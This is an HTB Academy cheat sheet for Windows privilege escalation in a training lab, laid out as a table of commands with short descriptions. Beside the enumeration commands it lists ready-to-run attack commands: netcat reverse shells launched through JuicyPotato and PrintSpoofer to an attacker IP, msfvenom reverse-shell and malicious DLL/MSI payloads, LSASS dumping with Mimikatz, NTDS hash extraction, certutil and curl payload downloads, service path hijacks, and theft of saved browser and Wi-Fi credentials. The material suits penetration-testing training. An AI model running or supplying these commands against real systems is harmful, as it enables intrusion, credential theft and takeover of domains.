

WINDOWS PRIVILEGE ESCALATION CHEAT SHEET

Initial Enumeration

Command	Description
xfreerdp /v: <target ip=""> /u:htb-student</target>	RDP to lab target
ipconfig /all	Get interface, IP address and DNS information
arp -a	Review ARP table
route print	Review routing table
Get-MpComputerStatus	Check Windows Defender status
Get-AppLockerPolicy -Effective select -ExpandProperty RuleCollections	List AppLocker rules
<pre>Get-AppLockerPolicy -Local Test-AppLockerPolicy -path C:\Windows\System32\cmd.exe -User Everyone</pre>	Test AppLocker policy
set	Display all environment variables
systeminfo	View detailed system configuration information
wmic qfe	Get patches and updates
wmic product get name	Get installed programs

Command	Description
tasklist /svc	Display running processes
query user	Get logged-in users
echo %USERNAME%	Get current user
whoami /priv	View current user privileges
whoami /groups	View current user group information
net user	Get all system users
net localgroup	Get all system groups
net localgroup administrators	View details about a group
net accounts	Get passsword policy
netstat -ano	Display active network connections
pipelist.exe /accepteula	List named pipes
gci \\.\pipe\	List named pipes with PowerShell
accesschk.exe /accepteula \\.\Pipe\lsass -v	Review permissions on a named pipe

Handy Commands

НТВ АСАВЕМУ СНЕАТЗНЕЕТ

Command	Description
mssqlclient.py sql_dev@10.129.43.30 -windows-auth	Connect using mssqlclient.py

Command	Description
enable_xp_cmdshell	Enable xp_cmdshell with mssqlclient.py
xp_cmdshell whoami	Run OS commands with xp_cmdshell
<pre>c:\tools\JuicyPotato.exe -1 53375 -p c:\windows\system32\cmd.exe -a "/c c:\tools\nc.exe 10.10.14.3 443 -e cmd.exe" -t *</pre>	Escalate privileges with JuicyPotato
<pre>c:\tools\PrintSpoofer.exe -c "c:\tools\nc.exe 10.10.14.3 8443 -e cmd"</pre>	Escalating privileges with PrintSpoofer
procdump.exe -accepteula -ma lsass.exe lsass.dmp	Take memory dump with ProcDump
sekurlsa::minidump lsass.dmp and sekurlsa::logonpasswords	Use MimiKatz to extract credentials from LSASS memory dump
dir /q C:\backups\wwwroot\web.config	Checking ownership of a file
takeown /f C:\backups\wwwroot\web.config	Taking ownership of a file
<pre>Get-ChildItem -Path 'C:\backups\wwwroot\web.config' select name, directory, @{Name="Owner";Expression={(Ge t-ACL \$Fullname).Owner}}</pre>	Confirming changed ownership of a file
icacls "C:\backups\wwwroot\web.config" /grant htb-student:F	Modifying a file ACL

Command	Description
secretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL	Extract hashes with secretsdump.py
robocopy /B E:\Windows\NTDS .\ntds ntds.dit	Copy files with ROBOCOPY
wevtutil qe Security /rd:true /f:text Select-String "/user"	Searching security event logs
<pre>wevtutil qe Security /rd:true /f:text /r:share01 /u:julie.clay /p:Welcome1 findstr "/user"</pre>	Passing credentials to wevtutil
<pre>Get-WinEvent -LogName security where { \$ID -eq 4688 -and \$Properties[8].Value -like '*/user*' } Select-Object @{name='CommandLine';expression={ \$Properties[8].Value }}</pre>	Searching event logs with PowerShell
msfvenom -p windows/x64/exec cmd='net group "domain admins" netadm /add /domain' -f dll -o adduser.dll	Generate malicious DLL
dnscmd.exe /config /serverlevelplugindll adduser.dll	Loading a custom DLL with dnscmd
wmic useraccount where name="netadm" get sid	Finding a user's SID
sc.exe sdshow DNS	Checking permissions on DNS service
sc stop dns	Stopping a service
sc start dns	Starting a service
reg query \\10.129.43.9\HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters	Querying a registry key

Command	Description
reg delete \\10.129.43.9\HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters /v ServerLevelPluginDll	Deleting a registry key
sc query dns	Checking a service status
Set-DnsServerGlobalQueryBlockList -Enable \$false -ComputerName dc01.inlanefreight.local	Disabling the global query block list
Add-DnsServerResourceRecordA -Name wpad -ZoneName inlanefreight.local -ComputerName dc01.inlanefreight.local -IPv4Address 10.10.14.3	Adding a WPAD record
cl /DUNICODE /D_UNICODE EnableSeLoadDriverPrivilege.cpp	Compile with cl.exe
<pre>reg add HKCU\System\CurrentControlSet\CAPCOM /v ImagePath /t REG_SZ /d "\?? \C:\Tools\Capcom.sys"</pre>	Add reference to a driver (1)
reg add HKCU\System\CurrentControlSet\CAPCOM /v Type /t REG_DWORD /d 1	Add reference to a driver (2)
.\DriverView.exe /stext drivers.txt and cat drivers.txt Select-String - pattern Capcom	Check if driver is loaded
EoPLoadDriver.exe System\CurrentControlSet\Capcom c:\Tools\Capcom.sys	Using EopLoadDriver
c:\Tools\PsService.exe security AppReadiness	Checking service permissions with PsService
sc config AppReadiness binPath= "cmd /c net localgroup Administrators server_adm /add"	Modifying a service binary path
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA	Confirming UAC is enabled

Command	Description
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin	Checking UAC level
[environment]::OSVersion.Version	Checking Windows version
cmd /c echo %PATH%	Reviewing path variable
<pre>curl http://10.10.14.3:8080/srrstr.dll -0 "C:\Users\sarah\AppData\Local\Microsoft\WindowsApps\srrstr.dll"</pre>	Downloading file with cURL in PowerShell
<pre>rundll32 shell32.dll,Control_RunDLL C:\Users\sarah\AppData\Local\Microsoft\WindowsApps\srrstr.dll</pre>	Executing custom dll with rundll32.exe
.\SharpUp.exe audit	Running SharpUp
icacls "C:\Program Files (x86)\PCProtect\SecurityService.exe"	Checking service permissions with icacls
<pre>cmd /c copy /Y SecurityService.exe "C:\Program Files (x86)\PCProtect\SecurityService.exe"</pre>	Replace a service binary
wmic service get name,displayname,pathname,startmode findstr /i "auto" findstr /i /v "c:\windows\\" findstr /i /v """	Searching for unquoted service paths
accesschk.exe /accepteula "mrb3n" -kvuqsw hklm\System\CurrentControlSet\services	Checking for weak service ACLs in the Registry
Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\ModelManagerService -Name "ImagePath" -Value "C:\Users\john\Downloads\nc.exe -e cmd.exe 10.10.10.205 443"	Changing ImagePath with PowerShell

Command	Description
<pre>Get-CimInstance Win32_StartupCommand select Name, command, Location, User fl</pre>	Check startup programs
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.10.14.3 LPORT=8443 -f exe > maintenanceservice.exe	Generating a malicious binary
get-process -Id 3324	Enumerating a process ID with PowerShell
get-service ? {\$DisplayName -like 'Druva*'}	Enumerate a running service by name with PowerShell

Credential Theft

Ш

Command	Description
findstr /SIM /C:"password" *.txt *ini *.cfg *.config *.xml	Search for files with the phrase "password"
<pre>gc 'C:\Users\htb-student\AppData\Local\Google\Chrome\User Data\Default\Custom Dictionary.txt' Select-String password</pre>	Searching for passwords in Chrome dictionary files
(Get-PSReadLineOption).HistorySavePath	Confirm PowerShell history save path
gc (Get-PSReadLineOption).HistorySavePath	Reading PowerShell history file
<pre>\$credential = Import-Clixml -Path 'C:\scripts\pass.xml'</pre>	Decrypting PowerShell credentials
<pre>cd c:\Users\htb-student\Documents & findstr /SI /M "password" *.xml *.ini *.txt</pre>	Searching file contents for a string
findstr /si password *.xml *.ini *.txt *.config	Searching file contents for a string

Command	Description
findstr /spin "password" *.*	Searching file contents for a string
select-string -Path C:\Users\htb-student\Documents*.txt -Pattern password	Search file contents with PowerShell
<pre>dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*</pre>	Search for file extensions
where /R C:\ *.config	Search for file extensions
<pre>Get-ChildItem C:\ -Recurse -Include *.rdp, *.config, *.vnc, *.cred -ErrorAction Ignore</pre>	Search for file extensions using PowerShell
cmdkey /list	List saved credentials
.\SharpChrome.exe logins /unprotect	Retrieve saved Chrome credentials
.\lazagne.exe -h	View LaZagne help menu
.\lazagne.exe all	Run all LaZagne modules
Invoke-SessionGopher -Target WINLPE-SRV01	Running SessionGopher
netsh wlan show profile	View saved wireless networks
netsh wlan show profile ilfreight_corp key=clear	Retrieve saved wireless passwords

Other Commands

MI

Command	Description
certutil.exe -urlcache -split -f http://10.10.14.3:8080/shell.bat shell.bat	Transfer file with certutil
certutil -encode file1 encodedfile	Encode file with certutil

Command	Description
certutil -decode encodedfile file2	Decode file with certutil
reg query HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer	Query for always install elevated registry key (1)
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer	Query for always install elevated registry key (2)
msfvenom -p windows/shell_reverse_tcp lhost=10.10.14.3 lport=9443 -f msi > aie.msi	Generate a malicious MSI package
<pre>msiexec /i c:\users\htb-student\desktop\aie.msi /quiet /qn /norestart</pre>	Executing an MSI package from command line
schtasks /query /fo LIST /v	Enumerate scheduled tasks
Get-ScheduledTask select TaskName,State	Enumerate scheduled tasks with PowerShell
.\accesschk64.exe /accepteula -s -d C:\Scripts\	Check permissions on a directory
Get-LocalUser	Check local user description field
Get-WmiObject -Class Win32_OperatingSystem select Description	Enumerate computer description field
guestmount -a SQL01-disk1.vmdk -iro /mnt/vmd	Mount VMDK on Linux
guestmountadd WEBSRV10.vhdxro /mnt/vhdx/ -m /dev/sda1	Mount VHD/VHDX on Linux
sudo python2.7 windows-exploit-suggester.pyupdate	Update Windows Exploit Suggester database
<pre>python2.7 windows-exploit-suggester.pydatabase 2021-05-13- mssb.xlssysteminfo win7lpe-systeminfo.txt</pre>	Running Windows Exploit Suggester